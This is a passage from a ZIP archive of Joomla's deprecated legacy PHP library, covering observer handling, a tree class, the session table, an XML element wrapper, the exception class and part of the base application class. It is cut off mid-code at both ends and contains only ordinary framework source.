($this->_observers as $check) { if ($check instanceof $class) { return; } } $this->_observers[] = $observer; $methods = array_diff(get_class_methods($observer), get_class_methods('JPlugin')); } $key = key($this->_observers); foreach ($methods as $method) { $method = strtolower($method); if (!isset($this->_methods[$method])) { $this->_methods[$method] = array(); } $this->_methods[$method][] = $key; } } /** * Detach an observer object * * @param object $observer An observer object to detach. * * @return boolean True if the observer object was detached. * * @since 1.5 * @deprecated 2.5 */ public function detach($observer) { $retval = false; $key = array_search($observer, $this->_observers); if ($key !== false) { unset($this->_observers[$key]); $retval = true; foreach ($this->_methods as &$method) { $k = array_search($key, $method); if ($k !== false) { unset($method[$k]); } } } return $retval; } } PK���\ELmp&&legacy/base/tree.phpnu�[���<?php /** * @package Joomla.Legacy * @subpackage Base * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Tree Class. * * @since 1.5 * @deprecated 3.0 */ class JTree extends JObject { /** * Root node * * @var JNode * @since 1.5 * @deprecated 3.0 */ protected $_root = null; /** * Current working node * * @var JNode * @since 1.5 * @deprecated 3.0 */ protected $_current = null; /** * Constructor * * @since 1.5 * @deprecated 3.0 */ public function __construct() { JLog::add('JTree::__construct() is deprecated.', JLog::WARNING, 'deprecated'); $this->_root = new JNode('ROOT'); $this->_current = & $this->_root; } /** * Method to add a child * * @param array &$node The node to process * @param boolean $setCurrent True to set as current working node * * @return void * * @since 1.5 * @deprecated 3.0 */ public function addChild(&$node, $setCurrent = false) { JLog::add('JTree::addChild() is deprecated.', JLog::WARNING, 'deprecated'); $this->_current->addChild($node); if ($setCurrent) { $this->_current = &$node; } } /** * Method to get the parent * * @return void * * @since 1.5 * @deprecated 3.0 */ public function getParent() { JLog::add('JTree::getParent() is deprecated.', JLog::WARNING, 'deprecated'); $this->_current = &$this->_current->getParent(); } /** * Method to get the parent * * @return void * * @since 1.5 * @deprecated 3.0 */ public function reset() { JLog::add('JTree::reset() is deprecated.', JLog::WARNING, 'deprecated'); $this->_current = &$this->_root; } } PK���\�����legacy/table/session.phpnu�[���<?php /** * @package Joomla.Legacy * @subpackage Table * * @copyright (C) 2005 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Session table * * @since 1.5 * @deprecated 3.2 Use SQL queries to interact with the session table. */ class JTableSession extends JTable { /** * Constructor * * @param JDatabaseDriver $db Database driver object. * * @since 1.5 * @deprecated 3.2 Use SQL queries to interact with the session table. */ public function __construct(JDatabaseDriver $db) { JLog::add('JTableSession is deprecated. Use SQL queries directly to interact with the session table.', JLog::WARNING, 'deprecated'); parent::__construct('#__session', 'session_id', $db); $this->guest = 1; $this->username = ''; } /** * Insert a session * * @param string $sessionId The session id * @param integer $clientId The id of the client application * * @return boolean True on success * * @since 1.5 * @deprecated 3.2 Use SQL queries to interact with the session table. */ public function insert($sessionId, $clientId) { $this->session_id = $sessionId; $this->client_id = $clientId; $this->time = time(); $ret = $this->_db->insertObject($this->_tbl, $this, 'session_id'); if (!$ret) { $this->setError(JText::sprintf('JLIB_DATABASE_ERROR_STORE_FAILED', strtolower(get_class($this)), $this->_db->stderr())); return false; } else { return true; } } /** * Updates the session * * @param boolean $updateNulls True to update fields even if they are null. * * @return boolean True on success. * * @since 1.5 * @deprecated 3.2 Use SQL queries to interact with the session table. */ public function update($updateNulls = false) { $this->time = time(); $ret = $this->_db->updateObject($this->_tbl, $this, 'session_id', $updateNulls); if (!$ret) { $this->setError(JText::sprintf('JLIB_DATABASE_ERROR_STORE_FAILED', strtolower(get_class($this)), $this->_db->stderr())); return false; } else { return true; } } /** * Destroys the pre-existing session * * @param integer $userId Identifier of the user for this session. * @param array $clientIds Array of client ids for which session(s) will be destroyed * * @return boolean True on success. * * @since 1.5 * @deprecated 3.2 Use SQL queries to interact with the session table. */ public function destroy($userId, $clientIds = array()) { $clientIds = implode(',', $clientIds); $query = $this->_db->getQuery(true) ->delete($this->_db->quoteName($this->_tbl)) ->where($this->_db->quoteName('userid') . ' = ' . $this->_db->quote($userId)) ->where($this->_db->quoteName('client_id') . ' IN (' . $clientIds . ')'); $this->_db->setQuery($query); if (!$this->_db->execute()) { $this->setError($this->_db->stderr()); return false; } return true; } /** * Purge old sessions * * @param integer $maxLifetime Session age in seconds * * @return mixed Resource on success, null on fail * * @since 1.5 * @deprecated 3.2 Use SQL queries to interact with the session table. */ public function purge($maxLifetime = 1440) { $past = time() - $maxLifetime; $query = $this->_db->getQuery(true) ->delete($this->_db->quoteName($this->_tbl)) ->where($this->_db->quoteName('time') . ' < ' . (int) $past); $this->_db->setQuery($query); return $this->_db->execute(); } /** * Find out if a user has one or more active sessions * * @param integer $userid The identifier of the user * * @return boolean True if a session for this user exists * * @since 1.5 * @deprecated 3.2 Use SQL queries to interact with the session table. */ public function exists($userid) { $query = $this->_db->getQuery(true) ->select('COUNT(userid)') ->from($this->_db->quoteName($this->_tbl)) ->where($this->_db->quoteName('userid') . ' = ' . $this->_db->quote($userid)); $this->_db->setQuery($query); if (!$result = $this->_db->loadResult()) { $this->setError($this->_db->stderr()); return false; } return (boolean) $result; } /** * Overloaded delete method * * We must override it because of the non-integer primary key * * @param integer $oid The object id (optional). * * @return mixed True if successful otherwise an error message * * @since 1.5 * @deprecated 3.2 Use SQL queries to interact with the session table. */ public function delete($oid = null) { $k = $this->_tbl_key; if ($oid) { $this->$k = $oid; } $query = $this->_db->getQuery(true) ->delete($this->_db->quoteName($this->_tbl)) ->where($this->_db->quoteName($this->_tbl_key) . ' = ' . $this->_db->quote($this->$k)); $this->_db->setQuery($query); $this->_db->execute(); return true; } } PK���\�is//legacy/utilities/xmlelement.phpnu�[���<?php /** * @package Joomla.Legacy * @subpackage Utilities * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; JLog::add('JXMLElement is deprecated. Use SimpleXMLElement.', JLog::WARNING, 'deprecated'); /** * Wrapper class for php SimpleXMLElement. * * @since 1.6 * @deprecated 3.0 Use SimpleXMLElement instead. */ class JXMLElement extends SimpleXMLElement { /** * Get the name of the element. * * @return string * * @since 1.6 * @deprecated 3.0 Use SimpleXMLElement::getName() instead. */ public function name() { JLog::add('JXMLElement::name() is deprecated, use SimpleXMLElement::getName() instead.', JLog::WARNING, 'deprecated'); return (string) $this->getName(); } /** * Return a well-formed XML string based on SimpleXML element * * @param boolean $compressed Should we use indentation and newlines ? * @param string $indent Indention character. * @param integer $level The level within the document which informs the indentation. * * @return string * * @since 1.6 * @deprecated 3.0 Use SimpleXMLElement::asXml() instead. */ public function asFormattedXml($compressed = false, $indent = "\t", $level = 0) { JLog::add('JXMLElement::asFormattedXml() is deprecated, use SimpleXMLElement::asXml() instead.', JLog::WARNING, 'deprecated'); $out = ''; // Start a new line, indent by the number indicated in $level $out .= $compressed ? '' : "\n" . str_repeat($indent, $level); // Add a <, and add the name of the tag $out .= '<' . $this->getName(); // For each attribute, add attr="value" foreach ($this->attributes() as $attr) { $out .= ' ' . $attr->getName() . '="' . htmlspecialchars((string) $attr, ENT_COMPAT, 'UTF-8') . '"'; } // If there are no children and it contains no data, end it off with a /> if (!(string) $this && !count($this->children())) { $out .= ' />'; } else { // If there are children if (count($this->children())) { // Close off the start tag $out .= '>'; $level++; // For each child, call the asFormattedXML function (this will ensure that all children are added recursively) foreach ($this->children() as $child) { $out .= $child->asFormattedXml($compressed, $indent, $level); } $level--; // Add the newline and indentation to go along with the close tag $out .= $compressed ? '' : "\n" . str_repeat($indent, $level); } elseif ((string) $this) { // If there is data, close off the start tag and add the data $out .= '>' . htmlspecialchars((string) $this, ENT_COMPAT, 'UTF-8'); } // Add the end tag $out .= '</' . $this->getName() . '>'; } return $out; } } PK���\�^�gglegacy/exception/exception.phpnu�[���<?php /** * @package Joomla.Legacy * @subpackage Exception * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Joomla! Exception object. * * @since 1.5 * @deprecated 1.7 */ class JException extends Exception { /** * Error level. * * @var string * @since 1.5 * @deprecated 1.7 */ protected $level = null; /** * Additional info about the error relevant to the developer, * for example, if a database connect fails, the dsn used * * @var string * @since 1.5 * @deprecated 1.7 */ protected $info = ''; /** * Name of the method the error occurred in [Available if backtrace is enabled] * * @var string * @since 1.5 * @deprecated 1.7 */ protected $function = null; /** * Name of the class the error occurred in [Available if backtrace is enabled] * * @var string * @since 1.5 * @deprecated 1.7 */ protected $class = null; /** * @var string Error type. * @since 1.5 * @deprecated 1.7 */ protected $type = null; /** * Arguments received by the method the error occurred in [Available if backtrace is enabled] * * @var array * @since 1.5 * @deprecated 1.7 */ protected $args = array(); /** * Backtrace information. * * @var mixed * @since 1.5 * @deprecated 1.7 */ protected $backtrace = null; /** * Container holding the error messages * * @var string[] * @since 1.6 * @deprecated 1.7 */ protected $_errors = array(); /** * Constructor * - used to set up the error with all needed error details. * * @param string $msg The error message * @param integer $code The error code from the application * @param integer $level The error level (use the PHP constants E_ALL, E_NOTICE etc.). * @param string $info Optional: The additional error information. * @param boolean $backtrace True if backtrace information is to be collected * * @since 1.5 * @deprecated 1.7 */ public function __construct($msg, $code = 0, $level = null, $info = null, $backtrace = false) { JLog::add('JException is deprecated.', JLog::WARNING, 'deprecated'); $this->level = $level; $this->code = $code; $this->message = $msg; if ($info != null) { $this->info = $info; } if ($backtrace && function_exists('debug_backtrace')) { $this->backtrace = debug_backtrace(); for ($i = count($this->backtrace) - 1; $i >= 0; --$i) { ++$i; if (isset($this->backtrace[$i]['file'])) { $this->file = $this->backtrace[$i]['file']; } if (isset($this->backtrace[$i]['line'])) { $this->line = $this->backtrace[$i]['line']; } if (isset($this->backtrace[$i]['class'])) { $this->class = $this->backtrace[$i]['class']; } if (isset($this->backtrace[$i]['function'])) { $this->function = $this->backtrace[$i]['function']; } if (isset($this->backtrace[$i]['type'])) { $this->type = $this->backtrace[$i]['type']; } $this->args = false; if (isset($this->backtrace[$i]['args'])) { $this->args = $this->backtrace[$i]['args']; } break; } } // Store exception for debugging purposes! JError::addToStack($this); parent::__construct($msg, (int) $code); } /** * Returns to error message * * @return string Error message * * @since 1.6 * @deprecated 1.7 */ public function __toString() { JLog::add('JException::__toString is deprecated.', JLog::WARNING, 'deprecated'); return $this->message; } /** * Returns to error message * * @return string Error message * * @since 1.5 * @deprecated 1.7 */ public function toString() { JLog::add('JException::toString is deprecated.', JLog::WARNING, 'deprecated'); return (string) $this; } /** * Returns a property of the object or the default value if the property is not set. * * @param string $property The name of the property * @param mixed $default The default value * * @return mixed The value of the property or null * * @since 1.6 * @deprecated 1.7 * @see JException::getProperties() */ public function get($property, $default = null) { JLog::add('JException::get is deprecated.', JLog::WARNING, 'deprecated'); if (isset($this->$property)) { return $this->$property; } return $default; } /** * Returns an associative array of object properties * * @param boolean $public If true, returns only the public properties * * @return array Object properties * * @since 1.6 * @deprecated 1.7 * @see JException::get() */ public function getProperties($public = true) { JLog::add('JException::getProperties is deprecated.', JLog::WARNING, 'deprecated'); $vars = get_object_vars($this); if ($public) { foreach ($vars as $key => $value) { if (strpos($key, '_') === 0) { unset($vars[$key]); } } } return $vars; } /** * Get the most recent error message * * @param integer $i Option error index * @param boolean $toString Indicates if JError objects should return their error message * * @return string Error message * * @since 1.6 * @deprecated 1.7 */ public function getError($i = null, $toString = true) { JLog::add('JException::getError is deprecated.', JLog::WARNING, 'deprecated'); // Find the error if ($i === null) { // Default, return the last message $error = end($this->_errors); } elseif (!array_key_exists($i, $this->_errors)) { // If $i has been specified but does not exist, return false return false; } else { $error = $this->_errors[$i]; } // Check if only the string is requested if ($error instanceof Exception && $toString) { return (string) $error; } return $error; } /** * Return all errors, if any * * @return array Array of error messages or JErrors * * @since 1.6 * @deprecated 1.7 */ public function getErrors() { JLog::add('JException::getErrors is deprecated.', JLog::WARNING, 'deprecated'); return $this->_errors; } /** * Modifies a property of the object, creating it if it does not already exist. * * @param string $property The name of the property * @param mixed $value The value of the property to set * * @return mixed Previous value of the property * * @since 1.6 * @deprecated 1.7 * @see JException::setProperties() */ public function set($property, $value = null) { JLog::add('JException::set is deprecated.', JLog::WARNING, 'deprecated'); $previous = isset($this->$property) ? $this->$property : null; $this->$property = $value; return $previous; } /** * Set the object properties based on a named array/hash * * @param mixed $properties Either and associative array or another object * * @return boolean * * @since 1.6 * @deprecated 1.7 * @see JException::set() */ public function setProperties($properties) { JLog::add('JException::setProperties is deprecated.', JLog::WARNING, 'deprecated'); // Cast to an array $properties = (array) $properties; if (is_array($properties)) { foreach ($properties as $k => $v) { $this->$k = $v; } return true; } return false; } /** * Add an error message * * @param string $error Error message * * @return void * * @since 1.6 * @deprecated 1.7 */ public function setError($error) { JLog::add('JException::setErrors is deprecated.', JLog::WARNING, 'deprecated'); $this->_errors[] = $error; } } PK���\iGW@uuuu"legacy/application/application.phpnu�[���<?php /** * @package Joomla.Legacy * @subpackage Application * * @copyright (C) 2005 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; use Joomla\CMS\Application\BaseApplication; use Joomla\Registry\Registry; JLog::add('JApplication is deprecated.', JLog::WARNING, 'deprecated'); /** * Base class for a Joomla! application. * * Acts as a Factory class for application specific objects and provides many * supporting API functions. Derived clases should supply the route(), dispatch() * and render() functions. * * @since 1.5 * @deprecated 3.2 Use CMSApplication instead unless specified otherwise */ class JApplication extends BaseApplication { /** * The client identifier. * * @var integer * @since 1.5 * @deprecated 3.2 */ protected $_clientId = null; /** * The application message queue. * * @var array * @since 1.5 * @deprecated 3.2 */ protected $_messageQueue = array(); /** * The name of the application. * * @var array * @since 1.5 * @deprecated 3.2 */ protected $_name = null; /** * The scope of the application. * * @var string * @since 1.5 * @deprecated 3.2 */ public $scope = null; /** * The time the request was made. * * @var string * @since 1.5 * @deprecated 3.2 */ public $requestTime = null; /** * The time the request was made as Unix timestamp. * * @var integer * @since 1.6 * @deprecated 3.2 */ public $startTime = null; /** * The application client object. * * @var JApplicationWebClient * @since 3.0 * @deprecated 3.2 */ public $client; /** * JApplication instances container. * * @var JApplication[] * @since 2.5 * @deprecated 3.2 */ protected static $instances = array(); /** * Class constructor. * * @param array $config A configuration array including optional elements such as session * session_name, clientId and others. This is not exhaustive. * * @since 1.5 * @deprecated 3.2 */ public function __construct($config = array()) { // Set the view name. $this->_name = $this->getName(); // Only set the clientId if available. if (isset($config['clientId'])) { $this->_clientId = $config['clientId']; } // Enable sessions by default. if (!isset($config['session'])) { $config['session'] = true; } // Create the input object $this->input = new JInput; $this->client = new JApplicationWebClient; $this->loadDispatcher(); // Set the session default name. if (!isset($config['session_name'])) { $config['session_name'] = $this->_name; } // Set the default configuration file. if (!isset($config['config_file'])) { $config['config_file'] = 'configuration.php'; } // Create the configuration object. if (file_exists(JPATH_CONFIGURATION . '/' . $config['config_file'])) { $this->_createConfiguration(JPATH_CONFIGURATION . '/' . $config['config_file']); } // Create the session if a session name is passed. if ($config['session'] !== false) { $this->_createSession(JApplicationHelper::getHash($config['session_name'])); } $this->requestTime = gmdate('Y-m-d H:i'); // Used by task system to ensure that the system doesn't go over time. $this->startTime = JProfiler::getmicrotime(); } /** * Returns the global JApplicationCms object, only creating it if it * doesn't already exist. * * @param mixed $client A client identifier or name. * @param array $config An optional associative array of configuration settings. * @param string $prefix A prefix for class names * * @return JApplicationCms A JApplicationCms object. * * @since 1.5 * @deprecated 3.2 Use JApplicationCms::getInstance() instead * @note As of 3.2, this proxies to JApplicationCms::getInstance() */ public static function getInstance($client, $config = array(), $prefix = 'J') { return JApplicationCms::getInstance($client); } /** * Initialise the application. * * @param array $options An optional associative array of configuration settings. * * @return void * * @since 1.5 * @deprecated 3.2 */ public function initialise($options = array()) { // Set the language in the class. $config = JFactory::getConfig(); // Check that we were given a language in the array (since by default may be blank). if (isset($options['language'])) { $config->set('language', $options['language']); } // Set user specific editor. $user = JFactory::getUser(); $editor = $user->getParam('editor', $this->get('editor')); if (!JPluginHelper::isEnabled('editors', $editor)) { $editor = $this->get('editor'); if (!JPluginHelper::isEnabled('editors', $editor)) { $editor = 'none'; } } $config->set('editor', $editor); // Trigger the onAfterInitialise event. JPluginHelper::importPlugin('system'); $this->triggerEvent('onAfterInitialise'); } /** * Route the application. * * Routing is the process of examining the request environment to determine which * component should receive the request. The component optional parameters * are then set in the request object to be processed when the application is being * dispatched. * * @return void * * @since 1.5 * @deprecated 3.2 */ public function route() { // Get the full request URI. $uri = clone JUri::getInstance(); $router = $this->getRouter(); $result = $router->parse($uri); foreach ($result as $key => $value) { $this->input->def($key, $value); } // Trigger the onAfterRoute event. JPluginHelper::importPlugin('system'); $this->triggerEvent('onAfterRoute'); } /** * Dispatch the application. * * Dispatching is the process of pulling the option from the request object and * mapping them to a component. If the component does not exist, it handles * determining a default component to dispatch. * * @param string $component The component to dispatch. * * @return void * * @since 1.5 * @deprecated 3.2 */ public function dispatch($component = null) { $document = JFactory::getDocument(); $contents = JComponentHelper::renderComponent($component); $document->setBuffer($contents, 'component'); // Trigger the onAfterDispatch event. JPluginHelper::importPlugin('system'); $this->triggerEvent('onAfterDispatch'); } /** * Render the application. * * Rendering is the process of pushing the document buffers into the template * placeholders, retrieving data from the document and pushing it into * the JResponse buffer. * * @return void * * @since 1.5 * @deprecated 3.2 */ public function render() { $template = $this->getTemplate(true); $params = array('template' => $template->template, 'file' => 'index.php', 'directory' => JPATH_THEMES, 'params' => $template->params); // Parse the document. $document = JFactory::getDocument(); $document->parse($params); // Trigger the onBeforeRender event. JPluginHelper::importPlugin('system'); $this->triggerEvent('onBeforeRender'); // Render the document. $caching = ($this->get('caching') >= 2); JResponse::setBody($document->render($caching, $params)); // Trigger the onAfterRender event. $this->triggerEvent('onAfterRender'); } /** * Redirect to another URL. * * Optionally enqueues a message in the system message queue (which will be displayed * the next time a page is loaded) using the enqueueMessage method. If the headers have * not been sent the redirect will be accomplished using a "301 Moved Permanently" * code in the header pointing to the new location. If the headers have already been * sent this will be accomplished using a JavaScript statement. * * @param string $url The URL to redirect to. Can only be http/https URL * @param string $msg An optional message to display on redirect. * @param string $msgType An optional message type. Defaults to message. * @param boolean $moved True if the page is 301 Permanently Moved, otherwise 303 See Other is assumed. * * @return void Calls exit(). * * @since 1.5 * @deprecated 3.2 * * @see JApplication::enqueueMessage() */ public function redirect($url, $msg = '', $msgType = 'message', $moved = false) { // Check for relative internal links. if (preg_match('#^index2?\.php#', $url)) { $url = JUri::base() . $url; } // Strip out any line breaks. $url = preg_split("/[\r\n]/", $url); $url = $url[0]; /* * If we don't start with a http we need to fix this before we proceed. * We could validly start with something else (e.g. ftp), though this would * be unlikely and isn't supported by this API. */ if (stripos($url, 'http') !== 0) { $uri = JUri::getInstance(); $prefix = $uri->toString(array('scheme', 'user', 'pass', 'host', 'port')); if ($url[0] === '/') { // We just need the prefix since we have a path relative to the root. $url = $prefix . $url; } else { // It's relative to where we are now, so lets add that. $parts = explode('/', $uri->toString(array('path'))); array_pop($parts); $path = implode('/', $parts) . '/'; $url = $prefix . $path . $url; } } // If the message exists, enqueue it. if (trim($msg)) { $this->enqueueMessage($msg, $msgType); } // Persist messages if they exist. if (count($this->_messageQueue)) { $session = JFactory::getSession(); $session->set('application.queue', $this->_messageQueue); } // If the headers have been sent, then we cannot send an additional location header // so we will output a javascript redirect statement. if (headers_sent()) { echo "<script>document.location.href=" . json_encode(str_replace("'", ''', $url)) . ";</script>\n"; } else { $document = JFactory::getDocument(); jimport('phputf8.utils.ascii'); if (($this->client->engine == JApplicationWebClient::TRIDENT) && !utf8_is_ascii($url)) { // MSIE type browser and/or server cause issues when URL contains utf8 character,so use a javascript redirect method echo '<html><head><meta http-equiv="content-type" content="text/html; charset=' . $document->getCharset() . '" />' . '<script>document.location.href=' . json_encode(str_replace("'", ''', $url)) . ';</script></head></html>'; } else { // All other browsers, use the more efficient HTTP header method header($moved ? 'HTTP/1.1 301 Moved Permanently' : 'HTTP/1.1 303 See other'); header('Location: ' . $url); header('Content-Type: text/html; charset=' . $document->getCharset()); } } $this->close(); } /** * Enqueue a system message. * * @param string $msg The message to enqueue. * @param string $type The message type. Default is message. * * @return void * * @since 1.5 * @deprecated 3.2 */ public function enqueueMessage($msg, $type = 'message') { // For empty queue, if messages exists in the session, enqueue them first. if (!count($this->_messageQueue)) { $session = JFactory::getSession(); $sessionQueue = $session->get('application.queue'); if (count($sessionQueue)) { $this->_messageQueue = $sessionQueue; $session->set('application.queue', null); } } // Enqueue the message. $this->_messageQueue[] = array('message' => $msg, 'type' => strtolower($type)); } /** * Get the system message queue. * * @return array The system message queue. * * @since 1.5 * @deprecated 3.2 */ public function getMessageQueue() { // For empty queue, if messages exists in the session, enqueue them. if (!count($this->_messageQueue)) { $session = JFactory::getSession(); $sessionQueue = $session->get('application.queue'); if (count($sessionQueue)) { $this->_messageQueue = $sessionQueue; $session->set('application.queue', null); } } return $this->_messageQueue; } /** * Gets a configuration value. * * @param string $varname The name of the value to get. * @param string $default Default value to return * * @return mixed The user state. * * @since 1.5 * @deprecated 3.2 */ public function getCfg($varname, $default = null) { $config = JFactory::getConfig(); return $config->get('' . $varname, $default); } /** * Method to get the application name. * * The dispatcher name is by default parsed using the classname, or it can be set * by passing a $config['name'] in the class constructor. * * @return string The name of the dispatcher. * * @since 1.5 * @deprecated 3.2 */ public function getName() { $name = $this->_name; if (empty($name)) { $r = null; if (!preg_match('/J(.*)/i', get_class($this), $r)) { JLog::add(JText::_('JLIB_APPLICATION_ERROR_APPLICATION_GET_NAME'), JLog::WARNING, 'jerror'); } $name = strtolower($r[1]); } return $name; } /** * Gets a user state. * * @param string $key The path of the state. * @param mixed $default Optional default value, returned if the internal value is null. * * @return mixed The user state or null. * * @since 1.5 * @deprecated 3.2 */ public function getUserState($key, $default = null) { $session = JFactory::getSession(); $registry = $session->get('registry'); if ($registry !== null) { return $registry->get($key, $default); } return $default; } /** * Sets the value of a user state variable. * * @param string $key The path of the state. * @param string $value The value of the variable. * * @return mixed The previous state, if one existed. * * @since 1.5 * @deprecated 3.2 */ public function setUserState($key, $value) { $session = JFactory::getSession(); $registry = $session->get('registry'); if ($registry !== null) { return $registry->set($key, $value); } } /** * Gets the value of a user state variable. * * @param string $key The key of the user state variable. * @param string $request The name of the variable passed in a request. * @param string $default The default value for the variable if not found. Optional. * @param string $type Filter for the variable, for valid values see {@link JFilterInput::clean()}. Optional. * * @return mixed The request user state. * * @since 1.5 * @deprecated 3.2 */ public function getUserStateFromRequest($key, $request, $default = null, $type = 'none') { $cur_state = $this->getUserState($key, $default); $new_state = $this->input->get($request, null, $type); // Save the new value only if it was set in this request. if ($new_state !== null) { $this->setUserState($key, $new_state); } else { $new_state = $cur_state; } return $new_state; } /** * Login authentication function. * * Username and encoded password are passed the onUserLogin event which * is responsible for the user validation. A successful validation updates * the current session record with the user's details. * * Username and encoded password are sent as credentials (along with other * possibilities) to each observer (authentication plugin) for user * validation. Successful validation will update the current session with * the user details. * * @param array $credentials Array('username' => string, 'password' => string) * @param array $options Array('remember' => boolean) * * @return boolean|JException True on success, false if failed or silent handling is configured, or a JException object on authentication error. * * @since 1.5 * @deprecated 3.2 */ public function login($credentials, $options = array()) { JPluginHelper::importPlugin('user'); // Get the global JAuthentication object. $authenticate = JAuthentication::getInstance(); $response = $authenticate->authenticate($credentials, $options); if ($response->status === JAuthentication::STATUS_SUCCESS) { // Validate that the user should be able to login (different to being authenticated). // This permits authentication plugins blocking the user $authorisations = $authenticate->authorise($response, $options); foreach ($authorisations as $authorisation) { $denied_states = array(JAuthentication::STATUS_EXPIRED, JAuthentication::STATUS_DENIED); if (in_array($authorisation->status, $denied_states)) { // Trigger onUserAuthorisationFailure Event. $this->triggerEvent('onUserAuthorisationFailure', array((array) $authorisation)); // If silent is set, just return false. if (isset($options['silent']) && $options['silent']) { return false; } // Return the error. switch ($authorisation->status) { case JAuthentication::STATUS_EXPIRED: return JError::raiseWarning('102002', JText::_('JLIB_LOGIN_EXPIRED')); break; case JAuthentication::STATUS_DENIED: return JError::raiseWarning('102003', JText::_('JLIB_LOGIN_DENIED')); break; default: return JError::raiseWarning('102004', JText::_('JLIB_LOGIN_AUTHORISATION')); break; } } } // Import the user plugin group. JPluginHelper::importPlugin('user'); // OK, the credentials are authenticated and user is authorised. Let's fire the onLogin event. $results = $this->triggerEvent('onUserLogin', array((array) $response, $options)); /* * If any of the user plugins did not successfully complete the login routine * then the whole method fails. * * Any errors raised should be done in the plugin as this provides the ability * to provide much more information about why the routine may have failed. */ $user = JFactory::getUser(); if ($response->type === 'Cookie') { $user->set('cookieLogin', true); } if (in_array(false, $results, true) == false) { $options['user'] = $user; $options['responseType'] = $response->type; if (isset($response->length, $response->secure, $response->lifetime)) { $options['length'] = $response->length; $options['secure'] = $response->secure; $options['lifetime'] = $response->lifetime; } // The user is successfully logged in. Run the after login events $this->triggerEvent('onUserAfterLogin', array($options)); } return true; } // Trigger onUserLoginFailure Event. $this->triggerEvent('onUserLoginFailure', array((array) $response)); // If silent is set, just return false. if (isset($options['silent']) && $options['silent']) { return false; } // If status is success, any error will have been raised by the user plugin if ($response->status !== JAuthentication::STATUS_SUCCESS) { JLog::add($response->error_message, JLog::WARNING, 'jerror'); } return false; } /** * Logout authentication function. * * Passed the current user information to the onUserLogout event and reverts the current * session record back to 'anonymous' parameters. * If any of the authentication plugins did not successfully complete * the logout routine then the whole method fails. Any errors raised * should be done in the plugin as this provides the ability to give * much more information about why the routine may have failed. * * @param integer $userid The user to load - Can be an integer or string - If string, it is converted to ID automatically * @param array $options Array('clientid' => array of client id's) * * @return boolean True on success * * @since 1.5 * @deprecated 3.2 */ public function logout($userid = null, $options = array()) { // Get a user object from the JApplication. $user = JFactory::getUser($userid); // Build the credentials array. $parameters['username'] = $user->get('username'); $parameters['id'] = $user->get('id'); // Set clientid in the options array if it hasn't been set already. if (!isset($options['clientid'])) { $options['clientid'] = $this->getClientId(); } // Import the user plugin group. JPluginHelper::importPlugin('user'); // OK, the credentials are built. Lets fire the onLogout event. $results = $this->triggerEvent('onUserLogout', array($parameters, $options)); if (!in_array(false, $results, true)) { $options['username'] = $user->get('username'); $this->triggerEvent('onUserAfterLogout', array($options)); return true; } // Trigger onUserLoginFailure Event. $this->triggerEvent('onUserLogoutFailure', array($parameters)); return false; } /** * Gets the name of the current template. * * @param boolean $params An optional associative array of configuration settings * * @return mixed System is the fallback. * * @since 1.5 * @deprecated 3.2 */ public function getTemplate($params = false) { $template = new stdClass; $template->template = 'system'; $template->params = new Registry; if ($params) { return $template; } return $template->template; } /** * Returns the application JRouter object. * * @param string $name The name of the application. * @param array $options An optional associative array of configuration settings. * * @return JRouter|null A JRouter object * * @since 1.5 * @deprecated 3.2 */ public static function getRouter($name = null, array $options = array()) { if (!isset($name)) { $app = JFactory::getApplication(); $name = $app->getName(); } try { $router = JRouter::getInstance($name, $options); } catch (Exception $e) { return; } return $router; } /** * This method transliterates a string into a URL * safe string or returns a URL safe UTF-8 string * based on the global configuration * * @param string $string String to process * * @return string Processed string * * @since 1.6 * @deprecated 3.2 Use JApplicationHelper::stringURLSafe instead */ public static function stringURLSafe($string) { return JApplicationHelper::stringURLSafe($string); } /** * Returns the application JPathway object. * * @param string $name The name of the application. * @param array $options An optional associative array of configuration settings. * * @return JPathway|null A JPathway object * * @since 1.5 * @deprecated 3.2 */ public function getPathway($name = null, $options = array()) { if (!isset($name)) { $name = $this->_name; } try { $pathway = JPathway::getInstance($name, $options); } catch (Exception $e) { return; } return $pathway; } /** * Returns the application JPathway object. * * @param string $name The name of the application/client. * @param array $options An optional associative array of configuration settings. * * @return JMenu|null JMenu object. * * @since 1.5 * @deprecated 3.2 */ public function getMenu($name = null, $options = array()) { if (!isset($name)) { $name = $this->_name; } try { $menu = JMenu::getInstance($name, $options); } catch (Exception $e) { return; } return $menu; } /** * Provides a secure hash based on a seed * * @param string $seed Seed string. * * @return string A secure hash * * @since 1.6 * @deprecated 3.2 Use JApplicationHelper::getHash instead */ public static function getHash($seed) { return JApplicationHelper::getHash($seed); } /** * Create the configuration registry. * * @param string $file The path to the configuration file * * @return JConfig A JConfig object * * @since 1.5 * @deprecated 3.2 */ protected function _createConfiguration($file) { JLoader::register('JConfig', $file); // Create the JConfig object. $config = new JConfig; // Get the global configuration object. $registry = JFactory::getConfig(); // Load the configuration values into the registry. $registry->loadObject($config); return $config; } /** * Create the user session. * * Old sessions are flushed based on the configuration value for the cookie * lifetime. If an existing session, then the last access time is updated. * If a new session, a session id is generated and a record is created in * the #__sessions table. * * @param string $name The sessions name. * * @return JSession JSession on success. May call exit() on database error. * * @since 1.5 * @deprecated 3.2 */ protected function _createSession($name) { $options = array(); $options['name'] = $name; switch ($this->_clientId) { case 0: if ($this->get('force_ssl') == 2) { $options['force_ssl'] = true; } break; case 1: if ($this->get('force_ssl') >= 1) { $options['force_ssl'] = true; } break; } $this->registerEvent('onAfterSessionStart', array($this, 'afterSessionStart')); $session = JFactory::getSession($options); $session->initialise($this->input, $this->dispatcher); $session->start(); // TODO: At some point we need to get away from having session data always in the db. $db = JFactory::getDbo(); // Remove expired sessions from the database. $time = time(); if ($time % 2) { // The modulus introduces a little entropy, making the flushing less accurate // but fires the query less than half the time. $query = $db->getQuery(true) ->delete($db->quoteName('#__session')) ->where($db->quoteName('time') . ' < ' . (int) ($time - $session->getExpire())); $db->setQuery($query); $db->execute(); } // Check to see the the session already exists. $handler = $this->get('session_handler'); if (($handler !== 